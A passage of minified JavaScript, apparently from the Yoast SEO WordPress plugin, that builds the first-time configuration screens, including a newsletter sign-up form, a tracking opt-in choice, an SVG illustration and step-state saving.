id({gdprLink:e}){const[r,n]=(0,l.useState)(""),[a,s]=(0,l.useState)("waiting"),[o,i]=(0,l.useState)(""),c=(0,l.useCallback)((async function(){if(!(0,Vn.isEmail)(r))return s("error"),void i(sd);s("loading"),(await async function(e){return(await fetch("https://my.yoast.com/api/Mailing-list/subscribe",{method:"POST",mode:"cors",cache:"no-cache",credentials:"same-origin",headers:{"Content-Type":"application/json"},redirect:"follow",referrerPolicy:"no-referrer",body:JSON.stringify({customerDetails:{firstName:"",email:e},list:"Yoast newsletter",source:"free"})})).json()}(r)).error?(s("error"),i(ad)):(s("success"),i(od))}),[r]),u=(0,l.useCallback)((e=>{s("waiting"),n(e.target.value)}),[n]);return(0,t.createElement)(l.Fragment,null,(0,t.createElement)("h4",{className:"yst-text-slate-900 yst-text-base yst-leading-6 yst-font-normal"},(0,Ht.__)("Get free weekly SEO tips!","wordpress-seo")),(0,t.createElement)("p",{className:"yst-my-2"},(0,Ht.sprintf)(/* translators: %1$s expands to "Yoast SEO", %2$s expands to "Yoast SEO". */
(0,Ht.__)("Subscribe to the %1$s newsletter to receive best practices for improving your rankings, save time on SEO tasks, stay up-to-date with the latest SEO news, and get expert guidance on how to make the most of %2$s!","wordpress-seo"),"Yoast SEO","Yoast SEO")),(0,t.createElement)("div",{className:"yst-flex yst-items-start yst-gap-2 yst-mt-4"},(0,t.createElement)(Ci,{label:(0,Ht.__)("Email address","wordpress-seo"),id:"newsletter-email",name:"newsletter email",value:r,onChange:u,className:"yst-grow",type:"email",placeholder:(0,Ht.__)("E.g. example@email.com","wordpress-seo"),feedback:{isVisible:["error","success"].includes(a),type:a,message:[o]}}),(0,t.createElement)("button",{type:"button",id:"newsletter-sign-up-button",className:"yst-button yst-button--primary yst-h-[45px] yst-items-center yst-mt-[27.5px] yst-shrink-0",onClick:c,disabled:"loading"===a,"data-hiive-event-name":"clicked_signup | personal preferences"},(0,Ht.__)("Yes, give me your free tips!","wordpress-seo"))),(0,t.createElement)("p",{className:"yst-text-slate-600 yst-text-xxs yst-leading-4"},Mc((0,Ht.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing anchor tags.
(0,Ht.__)("Yoast respects your privacy. Read %1$sour privacy policy%2$s on how we handle your personal information.","wordpress-seo"),"<a>","</a>"),e,"yoast-configuration-gdpr-link")))}id.propTypes={gdprLink:Wr().string},id.defaultProps={gdprLink:""};const ld={variant:{default:"","inline-block":"yst-radio-group--inline-block"}},cd=({id:e,name:r,value:n,label:a,className:s,...o})=>(0,t.createElement)("div",{className:cr()("yst-radio",s)},(0,t.createElement)("input",{type:"radio",id:e,name:r,value:n,className:"yst-radio__input",...o}),a&&(0,t.createElement)(ud,{htmlFor:e,className:"yst-radio__label"},a));cd.propTypes={name:Wr().string.isRequired,id:Wr().string.isRequired,value:Wr().oneOfType([Wr().string,Wr().number]).isRequired,label:Wr().string.isRequired,variant:Wr().oneOf(Object.keys({default:"","inline-block":"yst-radio--inline-block"})),className:Wr().string},cd.defaultProps={variant:"default",className:""};const ud=({children:e,as:r,className:n,...a})=>(0,t.createElement)(r,{className:cr()("yst-label",n),...a},e);ud.propTypes={children:Wr().node.isRequired,as:Wr().elementType,className:Wr().string},ud.defaultProps={as:"label",className:""};const dd=({children:e,id:r,name:n,value:a,label:s,options:o,onChange:i,variant:c,className:u,...d})=>{const p=(0,l.useCallback)((({target:e})=>e.checked&&i(e.value)),[i]);return(0,t.createElement)("fieldset",{className:cr()("yst-radio-group",ld.variant[c],u)},s&&(0,t.createElement)(ud,{as:"legend",className:"yst-radio-group__label"},s),e&&(0,t.createElement)("div",{className:"yst-radio-group__description"},e),(0,t.createElement)("div",{className:"yst-radio-group__options"},o.map(((e,s)=>{const o=`${r}-${s}`;return(0,t.createElement)(cd,{key:o,id:o,name:n,value:e.value,label:e.label,variant:c,checked:a===e.value,onChange:p,...d})}))))};dd.propTypes={children:Wr().node,id:Wr().string.isRequired,name:Wr().string.isRequired,value:Wr().oneOfType([Wr().string,Wr().number]).isRequired,options:Wr().arrayOf(Wr().shape({value:Wr().oneOfType([Wr().string,Wr().number]).isRequired,label:Wr().string.isRequired})).isRequired,onChange:Wr().func.isRequired,label:Wr().node,variant:Wr().oneOf(Object.keys(ld.variant)),className:Wr().string},dd.defaultProps={children:null,label:null,variant:"default",className:""};const pd=dd,md=(0,vc.makeOutboundLink)();function fd({state:e,setTracking:r}){return(0,t.createElement)(l.Fragment,null,!e.isPremium&&(0,t.createElement)(l.Fragment,null,(0,t.createElement)(id,{gdprLink:window.wpseoFirstTimeConfigurationData.shortlinks.gdpr}),(0,t.createElement)("br",null)),(0,t.createElement)("h4",{className:"yst-text-slate-900 yst-text-base yst-leading-6 yst-font-normal"},(0,Ht.__)("Are you open to help us improve our services?","wordpress-seo")),!!e.isMainSite&&!e.isTrackingAllowedMultisite&&(0,t.createElement)(Ai,{type:"warning",className:"yst-mt-2"},(0,Ht.__)("This feature has been disabled by the network admin.","wordpress-seo")),!e.isMainSite&&(0,t.createElement)(Ai,{type:"warning",className:"yst-mt-2"},(0,Ht.__)("This feature has been disabled since subsites never send tracking data.","wordpress-seo")),(0,t.createElement)("p",{className:cr()("yst-text-normal yst-mt-2 yst-mb-4",e.isMainSite&&e.isTrackingAllowedMultisite?"":"yst-opacity-50")},(0,Ht.sprintf)(/* translators: 1: Yoast SEO. */
(0,Ht.__)("Can we collect anonymous information about your website to enhance %1$s?","wordpress-seo"),"Yoast SEO")),(0,t.createElement)(pd,{id:"yoast-configuration-tracking-radio-button",name:"yoast-configuration-tracking",value:e.tracking,onChange:r,className:e.isMainSite&&e.isTrackingAllowedMultisite?"":"yst-opacity-50",disabled:!e.isMainSite||!e.isTrackingAllowedMultisite,options:[{value:0,label:(0,Ht.__)("No, I don't want to share my site data","wordpress-seo")},{value:1,label:(0,Ht.__)("Yes, you can collect my site data","wordpress-seo")}]}),!!e.isMainSite&&!!e.isTrackingAllowedMultisite&&(0,t.createElement)(l.Fragment,null,(0,t.createElement)(md,{className:"yst-inline-block yst-mt-4",href:"https://yoa.st/config-workout-tracking"},(0,Ht.__)("What data will be collected and why?","wordpress-seo")),(0,t.createElement)("p",{className:"yst-my-2"},(0,t.createElement)("i",null,(0,Ht.__)("Important: We won't sell this data, and we won't collect any personal information about you or your visitors.","wordpress-seo")))))}var yd,hd,gd,vd,bd,wd,Ed,xd,Sd,_d,kd,Rd,Cd,Pd,Nd,Od,Td,Ld,Id,Md,Ad,Dd,Fd,jd,zd,Ud,$d,qd,Bd,Hd,Vd,Zd,Wd,Gd,Yd,Kd,Jd,Qd,Xd,ep,tp,rp,np,ap,sp,op,ip,lp,cp,up,dp;function pp(){return pp=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},pp.apply(this,arguments)}fd.propTypes={state:Wr().object.isRequired,setTracking:Wr().func.isRequired};const mp=e=>t.createElement("svg",pp({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",className:"indexables_2_left_bubble_optm_svg__yst-shrink-0 indexables_2_left_bubble_optm_svg__yst-h-28",viewBox:"0 0 289.98 291.69"},e),yd||(yd=t.createElement("path",{fill:"#006531",d:"M178.09 168c6.2.88 11.73 57.74 10.9 64-1 7.61-20.47 21.56-35.83 16.83s-22.28-17.36-17.85-26.51 36.58-55.25 42.78-54.32z"})),hd||(hd=t.createElement("path",{fill:"#f0ecf0",d:"M256.47 217s6 6 13.08 13.82a131.19 131.19 0 1 0-181.07 40.45q3.55 2.25 7.23 4.27c.71-2.79 1.36-5 1.81-6.64 1.48-5.32 6.32-14.53 5.36-19.55s-4.13-7.68-3.54-20.08a114.5 114.5 0 0 1 3.54-25.72 14.88 14.88 0 0 0-7.09-1.77 113.17 113.17 0 0 1 10.95-12c6.87-21.57 17-42 23.64-51.22 6.22-8.64 29.37-10.27 52.71-6.72s47.75 28.12 40.37 63-28.46 44.21-30.79 49.23-5.57 18.8-3.65 23.67c1.29 3.28 6.19 9.05 11.85 17.05a130.91 130.91 0 0 0 48-28.94c-8.87-9.55-19.31-20.38-19.87-21.12 9.73-11.73 15.92-18.83 27.47-17.73z"})),gd||(gd=t.createElement("path",{fill:"#006531",d:"M150.14 131.06c-3.25-1.48-3.86-.12-7.4.48s-18.86-1.18-23.91.81c-9.9 3.91-14 11.82-16 20.27s.54 19.16 1.72 25.95-3.39 53.18-3.09 59.38 20.2 11.57 22.27.35 15.33-65.3 15.33-65.3 14.33-40.46 11.08-41.94z"})),vd||(vd=t.createElement("path",{fill:"#b498c6",d:"M49 177.58c26.5 32.94 70.46 51.81 71.35 58.6s-3.84 13.34-8.87 16.29-30.71-3.4-45.77-22.47c-15.55-19.67-28.56-37.13-28.56-37.13s5.68-8.18 11.85-15.29z"})),bd||(bd=t.createElement("path",{fill:"#006531",d:"M132.36 152.53c-4.21 2.95-21 27.42-26.52 32-4.18 3.48-14.36 15.36-15.25 23.63s6.39 19.91 16 25.4c5.24 3 23.88-5.3 25.65-13.27s4.32-70.72.12-67.76z"})),wd||(wd=t.createElement("path",{fill:"#006531",d:"M192.67 244.07c2.37-5 23.4-14.36 30.79-49.21s-17-59.44-40.37-63-46.49-1.86-52.71 6.74c-6.63 9.2-16.77 29.65-23.64 51.22 15.28-14.48 30.08-20.49 39.86-32.18-.3 1.55 8.49 23.45 11.81 28.36 4.15 6.13 14.16 17.89 20.38 31-10.34-1.92-21.49-1.6-31.9 2.41-2.66 6.3-2.07 16.93-.88 22.84-2.28 17.87-2.12 33.54.46 48.85 4.06.37 8.17.58 12.32.58a131.19 131.19 0 0 0 42.08-6.9c-5.66-8-10.56-13.77-11.85-17-1.92-4.91 1.29-18.69 3.65-23.71zM112.56 231c-.27-7.26-.22-8.8.78-20.95-2.89-1.6-6.55-4.57-10.46-6.48a114.5 114.5 0 0 0-3.54 25.72c-.59 12.4 2.59 15.06 3.54 20.08S99 263.58 97.52 268.9c-.45 1.6-1.1 3.85-1.81 6.64a127.06 127.06 0 0 0 13.85 6.58c-1.44-18.61-1.04-36.3 3-51.12z"})),Ed||(Ed=t.createElement("path",{fill:"#b498c6",d:"M269.55 230.83C262.43 223 256.47 217 256.47 217c-11.55-1.11-17.74 6-27.47 17.72.56.74 11 11.57 19.88 21.12a132.58 132.58 0 0 0 20.67-25.01z"})),xd||(xd=t.createElement("path",{fill:"#89bc3b",d:"M95.79 201.78a14.88 14.88 0 0 1 7.09 1.77c1.1-4.56 2.4-9.17 3.86-13.73a113.74 113.74 0 0 0-10.95 11.96z"})),Sd||(Sd=t.createElement("path",{fill:"#89bc3b",d:"M112.56 231c-4 14.84-4.44 32.53-3 51.14a130.52 130.52 0 0 0 36.91 9c-2.58-15.31-2.74-31-.46-48.85-1.19-5.91-1.78-16.54.88-22.84 10.41-4 21.56-4.33 31.9-2.41-6.22-13.12-16.23-24.88-20.38-31-3.32-4.91-12.11-26.81-11.81-28.36-9.78 11.69-24.58 17.7-39.86 32.18-1.46 4.56-2.76 9.17-3.86 13.73 3.91 1.91 7.57 4.88 10.46 6.48-1 12.11-1.05 13.65-.78 20.93z"})),_d||(_d=t.createElement("path",{fill:"#b498c6",d:"M35.85 151.6s2.66 3.18 4.43 5.55 4.66 16 8.68 20.43-7 12.22-7 12.22c-12-.92-23-13.34-21-28.7 0 0 3.25-4.73 3.84-6.5s-.18-5-.18-5a34.85 34.85 0 0 1-4.29-6.21c-1.21-2.65-.84-6.46.37-9.18s4.56-2.56 4.68-1.89c.31 1.74 2 8.86 1.86 8.6-.87-2.01 2.67 2.19 8.61 10.68z"})),kd||(kd=t.createElement("path",{fill:"#b498c6",d:"M32.13 155.37c-12 4.78-18.36 1.3-24.56 4.84s1.22 17.61 1.22 17.61 1.84 6.8 5.39 11.23 24.27 4.41 24.27 4.41l10.15-13.52z"})),Rd||(Rd=t.createElement("path",{fill:"#b498c6",d:"M28.47 184.32c-.59.89-5.5 6.45-8.45 7.45s-6.34-.66-6.34-.66c-3.64-1.42-4.81-3.6-3.07-6.2 0 0 10.29-.52 7.34.18s7.57-4.31 7.57-4.31c1.96.66 3.09 1.77 2.95 3.54z"})),Cd||(Cd=t.createElement("path",{fill:"#8b6c9c",d:"M25.52 180.78c7.47.85-3.24 16.33-11.84 10.33 5.39 1.3 7.32.21 10.71-3.07 2.5-2.49 3.06-2.79 2.42-5.24a2.59 2.59 0 0 0-1.29-2.02z"})),Pd||(Pd=t.createElement("path",{fill:"#b498c6",d:"M5.48 176.94c-2.11 2.55-1.17 5.19 4.13 8l8.39 1.15 8.57-5.31a8.67 8.67 0 0 0-.89-6.8l-10.34 3.25z"})),Nd||(Nd=t.createElement("path",{fill:"#8b6c9c",d:"M9.61 184.91c7.51.44 7.78 1.78 12.14-.95 5-3.14 5.69-4.17 3.88-10 4.06 5.07 1.3 7.9-3.35 10.83-3.09 1.94-6.79 2.92-12.67.12z"})),Od||(Od=t.createElement("path",{fill:"#b498c6",d:"M1.34 168.67c-3.06 1.58-.35 9.08 2.77 9l11.18-.41s9.12-2 10.34-3.25c1.81-1.8-.57-7.7-1.48-7.38l-10.93 3z"})),Td||(Td=t.createElement("path",{fill:"#8b6c9c",d:"M4.11 177.64c11.75.39 10.61 4.06 19.09-3.93 1.37-1.34-.15-7.07-1.05-7.11 1.23-.32 4.11 5.64 1.75 7.82-5.45 5.13-8.43 7.58-19.79 3.22z"})),Ld||(Ld=t.createElement("path",{fill:"#b498c6",d:"M4.59 159.81c-2.79.54-3.52 2-3.54 5.43s-.94 2.44 1.29 3.43 13.88.88 13.88.88l7.93-3c.73-2.37.66-4.59-1.18-6.5l-9.4-.89a69.28 69.28 0 0 0-8.98.65z"})),Id||(Id=t.createElement("path",{fill:"#8b6c9c",d:"M2.34 168.67c1.27.26 12.13.39 13.88.38-.45.09-.73.24 7.76-2.92-.91 1 .41-.43.05-2.9-.51-3.6-2.16-2.54-5.81-3.09-4.5-.9-9.43-1.88 4.8-.54.53.05 3 2.56 1.61 7.14-.11.36.83-.09-8.31 3.31-3.68.02-10.94.14-13.98-1.38z"})),Md||(Md=t.createElement("path",{fill:"#006531",d:"M197.4 137.56c4.72.88 31.31 19.79 39.83 35.92 3.33 6.31 6 21.38 8.9 27.58s13.59 18.31 14.48 19.79c-17.13 2.66-27.18 19.2-27.18 19.2-4-3.26-43.16-44.31-44-46.38-3.25-7.97 3.24-57 7.97-56.11z"})),Ad||(Ad=t.createElement("path",{fill:"#006531",d:"M195.4 110.09c-1.55 13 2 27.47 2 27.47s-44.31 21.26-50.8 20.08-3-24.33-3-24.33-.88-13.29 1.48-17.13 4.75-9.93 13-11.11 38.1-1.57 37.32 5.02z"})),Dd||(Dd=t.createElement("path",{fill:"#b498c6",d:"M147.3 154.39s11.48-21.63 15-24.29 18.72-8.83 22.56-10 3.84-5.31 5-8.56 1.48-29.79 1.48-29.79l-45.29 2 4.73 39.81c.36 12.52-4.85 19.83-3.48 30.83z"})),Fd||(Fd=t.createElement("path",{fill:"#89bc3b",d:"M195.45 138.74s27.35 19.2 39.05 36.26c2.65 3.85 4.84 20.79 7.2 25.81s10.05 15.07 10.05 15.07l5.31.29 3.55 4.73c-9.41 1.64-18.27 9.31-27.18 19.2l-6.49-5.62c5.46-7.09 11.49-13 18.9-15.94 0 0-7.68-12.11-9.75-16.54s-4.52-21.19-7.2-26.41c-9-17.6-39.06-34.73-39.06-34.73z"})),jd||(jd=t.createElement("path",{fill:"#093f22",d:"m192.38 197.7 21.02 21.79-2.66 5.31-15.36 5.61 11.88-10.33-14.88-22.38zm-71.73-50.53 1.55 13.29a79.66 79.66 0 0 1-7.31 11.54c-4.43 5.76-8.76 11.31-8.76 11.31L114 156l-.44 12z"})),zd||(zd=t.createElement("path",{fill:"#8b6c9c",d:"M191.38 81.73s1.91 5.52-1.07 17.09c-2.07 8-25.57 30.6-35 28.17-6-1.54-6-11.85-7.27-16.31L145 83.8z"})),Ud||(Ud=t.createElement("path",{fill:"#b498c6",d:"M172.22 6.3c-20-2.46-38.74 14.76-40.58 16.91-1.16 1.35-4.27 8.05-6.64 14.45 13.42-5 36.89-.82 67.51 9.88 1 6.7.06 12.11-.92 19.63 0 0-8.61 4.69-16 4.69s-16.29-2.46-18.45-5.23-8-9.63-13.77-10-11.37 5.87-13.89 6.59c-1.75.5-8 3-10.15 5.15v-.08a15.41 15.41 0 0 0-1.18 6.5c.8 8.65 6.53 18.51 8.69 21.59s2.72 9.45 6.41 14.07c3.13 3.91 15.33 3.46 20 2.1 7-2 29.38-9.37 32.77-14S198.23 70 198.23 70s12.4-8.23 13-14.69c2.12-22.13-11.91-45.67-39.01-49.01z"})),$d||($d=t.createElement("path",{fill:"#006531",d:"M192.2 87.46c21.23 1.16 34.39 0 35.92-9.22s1.16-64.85-52.19-76.38c-50.56-10.93-60.49 29.65-61.72 37s7.59 8.91 7.59 8.91c-.61-3.09 1.55-2.73 3.19-10.14 15.18-3.18 61.91 7.92 64.68 12.84s-.54 12.68-.24 16.06 7.69 6.47 7.69 6.47z"})),qd||(qd=t.createElement("path",{fill:"#093f22",d:"M225.1 81.93c1.13-4.56-4.46-9.51-15.07-14.76l-5.22 5.23-4.92 15.37c12.11.23 23.63.05 25.21-5.84z"})),Bd||(Bd=t.createElement("path",{fill:"#b498c6",d:"M207 73.61c3.69 3.07 3.93 10.55 1.78 14.54s-14.78 8.49-17.21 7.57-4.92-3.88-4.92-3.88l10.45-18.62a12.33 12.33 0 0 1 4.49.11c.31 0 2.8-1 3.11-.91a6.32 6.32 0 0 1 2.3 1.19z"})),Hd||(Hd=t.createElement("path",{fill:"#191a1a",d:"M192.2 69s-19.69 37.82-22.44 39c.82.16 5.58-1.59 7.38-2.46s20-32.59 20-32.59z"})),Vd||(Vd=t.createElement("path",{fill:"#093f22",d:"m186.03 79.26 5.37 4.21-4.21 7.53-5.93-3.32 4.77-8.42z"})),Zd||(Zd=t.createElement("path",{fill:"#fcee21",d:"M122.11 47.5a54.43 54.43 0 0 1 2.89-9.84c-4.93 9.91-10.22 24.17-5.7 30.66a35.07 35.07 0 0 1 5.58-8.22s-3.7-6.1-2.77-12.6z"})),Wd||(Wd=t.createElement("path",{fill:"#fbb03b",d:"M129.49 65.25c2.72-.78 8.83-7.61 14.37-6.38s11.14 8 13.29 10.76 11.07 5.23 18.45 5.23 16-7.69 16-7.69c1-7.52 1.93-12.93.92-19.63-30.62-10.7-54.09-14.89-67.52-9.88a54.43 54.43 0 0 0-2.89 9.84c-.93 6.45 2.76 12.6 2.76 12.6a35.07 35.07 0 0 0-5.58 8.22v.08c2.2-2.15 6.93-2.21 10.2-3.15z"})),Gd||(Gd=t.createElement("path",{fill:"#4b3f51",d:"M164.1 84.58s-10-6.68-19.87-7.87c-1.84-.22-2.48.64-3.69.59-1.78-.07-2.9-.67-4.28-.74-4.79-.22-5.77 2.37-5.77 2.37a4.35 4.35 0 0 0 1.93 4.43c1.77 1 2.51-1.11 3.32 1.77 17.72-1.66 22.26-.59 28.36-.55z"})),Yd||(Yd=t.createElement("path",{fill:"#8b6c9c",d:"M135.67 85c0 2.77-5.87 11.68 5.81 12.3 12.65.7 19.82-9.23 22.52-12.67-9.76-.11-19.34-2.38-28.33.37z"})),Kd||(Kd=t.createElement("path",{fill:"#f2f2f2",d:"M136.67 81.48c-.95 1.52-.25 7.58 4.61 8.3 7.75 1 16.17-1.77 22-5.22-9.55-1.06-11.88-2.62-16.38-3.49-2.54-.48-9.09-1.42-10.23.41z"})),Jd||(Jd=t.createElement("path",{fill:"#fcee21",d:"M124.87 60.1a20.07 20.07 0 0 0 12-.61s-2.15-7.92-6.76-7.61-5.24 8.22-5.24 8.22z"})),Qd||(Qd=t.createElement("path",{fill:"#f15a24",d:"M136.81 59.5c-3.13-10.48-10.72-10.06-11.88.6-1.93-.14-1.38-9.34 4.35-9.94 6.86-.67 8.23 9.15 7.53 9.34zm1.59-18.77c1.26.46.58 3.28-.69 3.38s-7.64-.52-9.45.31-5.08 4.17-6.25 6.08c.21-1.54 3.68-7.57 5-8.85s10.14-1.38 11.39-.92z"})),Xd||(Xd=t.createElement("path",{fill:"#8b6c9c",stroke:"#8b6c9c",strokeMiterlimit:10,d:"M150.7 66.25c.48 1.6 1 3.41-.85 4.33s-4-2.41-5.53-2.1-4 2.24-5.61 1.77c-3.34-1-3.69-2.69-3.69-2.69s-1.12 4.2 4.3 4.84c3.68.43 5.35-2.06 8.42-1.45s2.09 2.8 3.57 2.06c2.97-1.47.98-6.44-.61-6.76z"})),ep||(ep=t.createElement("path",{fill:"#8b6c9c",d:"M154.79 69.68c2.27 1.94 3.94 10 11.63 10.35 1.28 2-.13 5.41-1.89 9.58a20.53 20.53 0 0 0 7.07-12.91c-11.05.3-13.26-5.8-16.81-7.02zm-18.22.44s-2.47-.4-2.47.87a.37.37 0 0 1-.16.3.38.38 0 0 1-.34.06c-2.4-.79-1.79-4.72-.07-5.86-1.72 4.02 3.04 4.63 3.04 4.63z"})),tp||(tp=t.createElement("path",{fill:"#8b6c9c",d:"M132.48 68.63c-2 2.71-2.16 7-2 10.24 0 0-1-1.86-2-1.79s-.71 5.3.79 9a31 31 0 0 1-6-15.73c2.67 1.07 6 .5 9.27-3.38z"})),rp||(rp=t.createElement("ellipse",{cx:139.18,cy:184.17,fill:"#fbb03b",stroke:"#fc3",strokeMiterlimit:10,rx:8.75,ry:5.25,transform:"rotate(-9.22 139.183 184.166)"})),np||(np=t.createElement("path",{fill:"#f19018",d:"m129.81 195.84 18.24-2.09a100.85 100.85 0 0 0-14.23 16.57l8-.9a78.29 78.29 0 0 0-8.82 18.82c-3.2 9.33-2.81 18.19-3 17.84a47.74 47.74 0 0 1-3.75-14.91 56 56 0 0 1 .51-15.19c-3 .83-6 1.67-8.89 2.51a73.05 73.05 0 0 1 11.94-22.65z"})),ap||(ap=t.createElement("path",{fill:"#fbb03b",stroke:"#fc3",strokeMiterlimit:10,d:"m129.81 195.84 18.24-2.09a100.85 100.85 0 0 0-14.23 16.57l8-.9a78.29 78.29 0 0 0-8.82 18.82c-3.2 9.33-2.81 18.19-3 17.84a47.74 47.74 0 0 1-3.75-14.91 56 56 0 0 1 .51-15.19c-3 .83-6 1.67-8.89 2.51a73.05 73.05 0 0 1 11.94-22.65z"})),sp||(sp=t.createElement("path",{fill:"#f15a24",d:"M136 56.78c1 1.52-.76 3.87-2.65 3.87s-3.66-1.26-3.66-3.1a3.38 3.38 0 0 1 3.43-3.32c1.88 0 1.51.55 2.88 2.55z"})),op||(op=t.createElement("path",{fill:"#8b6c9c",d:"M25 161.28c-.08 6.93 1.26 20.08 15.09 24.42 0 0-8.67 1.28-11.66-1.38s-6.92-16.88-3.43-23.04z"})),ip||(ip=t.createElement("path",{fill:"#093f22",d:"m120.68 47.53 4.32-9.87c19.53-1.66 62.46 8.77 64.68 12.84s.07 13.6-.24 16.06 7.68 6.44 7.68 6.44l4.61.31s-8.3-3.07-8-7.38 3.2-16.07-1.23-18.4c-27.06-14.19-61.36-15-69.48-13.76-6.46 1-8.44 6.4-7.22 10.09.85 2.58 4.88 3.67 4.88 3.67zm47.77-26.05c-.92-2.15 18.91-8.27 30.13-7.68 6.17.32 13.26 10.33 5.91 9.45-14.77-1.77-35.11.38-36.04-1.77zM172 32.7c-.59-3 28.35-3 39.26.35 6 1.8 2.55 12.33-1.84 10.45C198 38.61 172.38 34.61 172 32.7zm-38.21-14.1L131 9.07l-6.15 6.15s8.02 4.61 8.94 3.38zm-7.07 8.61C127 26 120.57 21.06 120 22s-2.77 8.3-2.77 8.3 9.18-1.86 9.49-3.09z"})),lp||(lp=t.createElement("path",{fill:"#fc3",d:"M181.6 46.59c-.06 10.33-1.83 19.86-6 28.27A30.57 30.57 0 0 1 163.36 73c3.15-11.43 5.89-22.37 5.61-29.76a90 90 0 0 1 12.63 3.35z"})),cp||(cp=t.createElement("path",{fill:"#fcee21",d:"M172.83 62.87c-5.55.17-12.05 1.5-16.91-1.54 0 0 .7-8.22 7.15-7s9.76 8.54 9.76 8.54z"})),up||(up=t.createElement("path",{fill:"#f15a24",d:"M155 42.88c-1.24.38-.16 2.92.92 3.39s8.91 1.14 11.65 1.79 6.2 4.36 8.64 6.81c-.22-1.86-4.87-8.63-7.68-9.53s-12.29-2.83-13.53-2.46zm13.31 16.56a3.78 3.78 0 1 1-3.44-4.09 5 5 0 0 1 .56.09 4.28 4.28 0 0 1 2.88 4z"})),dp||(dp=t.createElement("path",{fill:"#f15a24",d:"M155.82 61.32c-2.89-12.19 15.29-11.67 17.1 1.51-.51.23-2.75-6.29-8.94-8.06-7.49-2.22-7.59 6.6-8.16 6.55z"})));function fp(e){e.preventDefault(),window.location.href="admin.php?page=wpseo_dashboard"}function yp(){const e=(0,u.get)(window,"wpseoScriptData.webinarIntroFirstTimeConfigUrl","https://yoa.st/webinar-intro-first-time-config");return(0,t.createElement)("div",{className:"yst-flex yst-flex-row yst-justify-between yst-items-center yst--mt-4"},(0,t.createElement)("div",{className:"yst-mr-6"},(0,t.createElement)("p",{className:"yst-text-sm yst-mb-4"},(0,Ht.sprintf)(/* translators: 1: Yoast. */
(0,Ht.__)("Great work! Thanks to the details you've provided, %1$s has enhanced your site for search engines, giving them a clearer picture of what your site is all about.","wordpress-seo"),"Yoast")),(0,t.createElement)("p",{className:"yst-text-sm yst-mb-6"},(0,Ht.__)("If your goal is to increase your rankings, you need to work on your SEO regularly. That can be overwhelming, so let's tackle it one step at a time!","wordpress-seo")),(0,t.createElement)(c.Button,{as:"a",variant:"primary",id:"button-webinar-seo-dashboard",href:e,target:"_blank","data-hiive-event-name":"clicked_to_onboarding_page"},(0,Ht.sprintf)(/* translators: 1: Yoast SEO. */
(0,Ht.__)("Learn how to increase your rankings with %1$s","wordpress-seo"),"Yoast SEO"),(0,t.createElement)(ln,{className:"yst-w-4 yst-h-4 yst-icon-rtl yst-ml-2"})),(0,t.createElement)("p",{className:"yst-mt-4"},(0,t.createElement)(c.Link,{id:"link-webinar-register",href:"#",onClick:fp,"data-hiive-event-name":"clicked_seo_dashboard"},(0,Ht.__)("Or go to your SEO dashboard","wordpress-seo")))),(0,t.createElement)(mp,{className:"yst-shrink-0 yst-h-28 yst-mb-24"}))}function hp(e,t){const{companyName:r,companyLogo:n,companyOrPersonOptions:a,shouldForceCompany:s,fallbackCompanyName:o,websiteName:i,fallbackWebsiteName:l}=e;let{companyOrPerson:c}=e;return("company"!==c||r||n||t(pl.siteRepresentation))&&!s||(c="company"),{...e,personId:Number(e.personId),personLogoId:Number(e.personLogoId),companyLogoId:Number(e.companyLogoId),tracking:Number(e.tracking),companyOrPerson:c,companyOrPersonOptions:a,errorFields:[],stepErrors:{},editedSteps:[],companyName:r||o,websiteName:i||l}}function gp(){const{removeAlert:e,dismissNotice:r,restoreNotice:n}=(0,s.useDispatch)(us),[a,o]=(0,l.useState)(window.wpseoFirstTimeConfigurationData.finishedSteps),i=(0,l.useCallback)((e=>a.includes(e)),[a]),c=(0,l.useCallback)((e=>{o((t=>(0,u.uniq)([...t,e])))}),[o]);(0,l.useEffect)((()=>{!async function(e){const t=await na()({path:"yoast/v1/configuration/save_configuration_state",method:"POST",data:{finishedSteps:e}});await t.json}(a),window.wpseoFirstTimeConfigurationData.finishedSteps=a}),[a]);const[d,p]=(0,l.useReducer)(gi,{...hp(window.wpseoFirstTimeConfigurationData,i)}),[m,f]=(0,l.useState)((()=>"0"===window.yoastIndexingData.amount?"already_done":"idle")),[y,h]=(0,l.useState)(!1),[g,v]=(0,l.useState)(!1),b=(0,l.useCallback)(((e,t)=>{p({type:"SET_STEP_ERROR",payload:{step:e,message:t}})}),[]),w=(0,l.useCallback)((e=>{p({type:"REMOVE_STEP_ERROR",payload:e})}),[]);(0,l.useEffect)((()=>{"completed"===m&&(e("wpseo-reindex"),window.yoastIndexingData.amount="0")}),[m,e]);const E=i(pl.optimizeSeoData),x=i(pl.siteRepresentation),S=i(pl.socialProfiles),_=i(pl.personalPreferences),k=(0,l.useCallback)((e=>{p({type:"SET_TRACKING",payload:parseInt(e,10)})})),R=(0,l.useCallback)((e=>{p({type:"SET_ERROR_FIELDS",payload:e})})),C=(0,l.useCallback)((()=>{""!==d.companyLogo&&0!==d.companyLogoId&&""!==d.companyName?r("yoast-local-missing-organization-info-notice"):n("yoast-local-missing-organization-info-notice")}),[r,n,d.companyLogo,d.companyLogoId,d.companyName]),P=(0,l.useCallback)((()=>{r("yoast-first-time-configuration-notice")}),[r]),N=!("company"!==d.companyOrPerson||d.companyName&&(d.companyLogo||d.companyLogoFallback)&&d.websiteName),O=!("person"!==d.companyOrPerson||d.personId&&(d.personLogo||d.personLogoFallback)&&d.websiteName),T=(0,l.useCallback)((e=>p({type:"SET_COMPANY_OR_PERSON",payload:e})),[p]),L=[E,x,S,_].every(Boolean),I=[i(pl.optimizeSeoData),i(pl.siteRepresentation),i(pl.socialProfiles),i(pl.personalPreferences),L],[M,A]=(0,l.useState)(function(e){if(!Array.isArray(e)||0===e.length)return 0;const t=e.findIndex((e=>!1===e));return-1!==t?t:e.every(Boolean)?e.length-1:0}(I)),[D,F]=(0,l.useState)(L),[j,z]=(0,l.useState)(!1),[U,$]=(0,l.useState)(D&&!j);function q(){return $(!1),z(!0),!0}(0,l.useEffect)((()=>{L&&F(!0)}),[L]),(0,l.useEffect)((()=>{$(D&&!j)}),[D,j]),(0,l.useEffect)((()=>{function e(e){"Enter"===e.key&&"first-time-configuration-tab"===document.querySelector(".nav-tab.nav-tab-active").id&&"INPUT"===e.target.tagName&&e.preventDefault()}return 